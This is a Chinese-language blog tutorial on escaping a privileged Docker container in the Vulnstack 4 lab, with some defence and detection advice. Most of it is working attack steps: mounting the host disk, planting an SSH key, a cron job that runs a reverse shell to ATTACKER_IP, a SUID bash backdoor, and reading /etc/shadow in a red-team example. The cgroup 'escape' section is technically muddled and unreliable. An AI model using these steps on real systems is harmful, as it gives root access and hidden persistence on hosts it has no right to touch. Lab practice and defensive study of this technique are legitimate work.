Vulnstack 4 靶场 Docker 特权逃逸实战:3步挂载宿主机磁盘获取 root 权限
·
Docker特权容器逃逸实战:从权限检测到宿主机控制
1. 特权容器逃逸技术概述
在容器安全领域,特权逃逸是最具破坏性的攻击方式之一。当容器以特权模式(--privileged)启动时,它实际上获得了与宿主机几乎相同的权限级别,这为攻击者提供了突破容器隔离限制的可能性。
特权逃逸的核心在于 滥用Linux内核能力机制 。普通容器通常只被授予有限的Capabilities(如CHOWN、NET_BIND_SERVICE等),而特权容器则拥有包括CAP_SYS_ADMIN在内的高危能力。这种设计虽然方便了某些特殊场景下的容器管理,但也打开了潘多拉魔盒。
关键检测指标 :
# 检查特权容器特征
cat /proc/self/status | grep CapEff
典型特权容器的CapEff掩码值为 0000003fffffffff 或 0000001fffffffff ,这表示容器拥有几乎所有Linux能力。
2. 环境检测与确认
在实施逃逸前,必须确认当前容器环境是否满足特权逃逸条件。以下是完整的检测流程:
2.1 容器环境验证
# 检查.dockerenv文件
ls -alh /.dockerenv
# 检查cgroup信息
cat /proc/1/cgroup | grep docker
# 检查设备文件权限
ls -l /dev/sda*
2.2 磁盘信息枚举
fdisk -l
典型输出示例:
Disk /dev/sda: 20 GiB, 21474836480 bytes
Device Boot Start End Sectors Size Id Type
/dev/sda1 * 2048 41943039 41940992 20G 83 Linux
2.3 能力集检测
# 完整能力集检查
capsh --print
关键能力包括:
- CAP_SYS_ADMIN :挂载文件系统
- CAP_DAC_OVERRIDE :绕过文件权限检查
- CAP_SYS_MODULE :加载内核模块
3. 宿主机磁盘挂载逃逸
3.1 挂载操作实战
# 创建挂载点目录
mkdir -p /mnt/escape
# 挂载宿主机根分区
mount /dev/sda1 /mnt/escape
# 验证挂载结果
df -h | grep sda1
3.2 权限维持技术
方法一:SSH密钥注入
# 在宿主机创建.ssh目录
mkdir -p /mnt/escape/root/.ssh
# 写入攻击者公钥
echo "ssh-rsa AAAAB3N...[你的公钥]" >> /mnt/escape/root/.ssh/authorized_keys
# 调整权限
chmod 600 /mnt/escape/root/.ssh/authorized_keys
方法二:定时任务植入
# 创建反弹shell脚本
echo 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1' > /mnt/escape/tmp/.backdoor.sh
# 设置定时任务
echo "* * * * * root bash /tmp/.backdoor.sh" >> /mnt/escape/etc/crontab
方法三:SUID后门
# 复制bash并设置SUID
cp /bin/bash /mnt/escape/tmp/.suid_bash
chmod 4755 /mnt/escape/tmp/.suid_bash
4. 防御检测与对抗
4.1 防御措施
-
最小权限原则 :
# 替代--privileged的精细化能力授权 docker run --cap-add=SYS_ADMIN --security-opt=no-new-privileges ... -
只读挂载 :
docker run -v /host/path:/container/path:ro ... -
用户命名空间隔离 :
dockerd --userns-remap=default
4.2 检测方法
# 检测异常挂载点
mount | grep -vE '(proc|sys|devpts|tmpfs)'
# 检查可疑的CAP_SYS_ADMIN进程
ps aux | grep -i cap_sys_admin
# 监控设备文件访问
auditctl -w /dev/sda* -p war -k docker_escape
5. 高级逃逸技术拓展
5.1 利用cgroup逃逸
# 创建cgroup
mkdir /sys/fs/cgroup/memory/test
# 写入任务ID
echo 1 > /sys/fs/cgroup/memory/test/tasks
# 触发内存不足(OOM)攻击
echo $$ > /sys/fs/cgroup/memory/test/tasks
dd if=/dev/zero of=/dev/null bs=1M
5.2 内核模块注入
# 在宿主机准备恶意模块
insmod /mnt/escape/lib/modules/$(uname -r)/kernel/drivers/malicious.ko
6. 实战案例深度分析
某次红队评估中,攻击路径如下:
- 通过Tomcat RCE获得容器shell
- 检测到特权容器特征:
# 关键检测命令输出 $ cat /proc/self/status | grep CapEff CapEff: 0000003fffffffff - 挂载宿主机磁盘:
$ mount /dev/sda1 /mnt/host $ cat /mnt/host/etc/shadow - 通过写入SSH密钥建立持久化通道
攻击时间线 :
| 时间节点 | 操作 | 结果 |
|---|---|---|
| T+0:00 | 初始漏洞利用 | 获得容器shell |
| T+0:05 | 特权检测 | 确认CapEff值 |
| T+0:12 | 磁盘挂载 | 访问宿主机文件系统 |
| T+0:20 | 权限维持 | 植入SSH后门 |
7. 安全建议与最佳实践
-
运行时防护 :
- 部署容器安全监控工具(如Falco)
- 启用seccomp和AppArmor策略
-
构建时安全 :
# 示例安全加固Dockerfile FROM alpine USER nobody RUN apk add --no-cache dumb-init ENTRYPOINT ["/usr/bin/dumb-init", "--"] -
网络隔离 :
# 创建自定义网络 docker network create --driver=bridge --opt \ com.docker.network.bridge.enable_icc=false isolated_net
特权容器逃逸技术揭示了容器安全中最危险的安全边界突破方式。防御者需要采用纵深防御策略,而攻击者则需不断探索新的技术突破点。在这个持续对抗的过程中,理解底层原理才是安全能力的核心。
更多推荐


所有评论(0)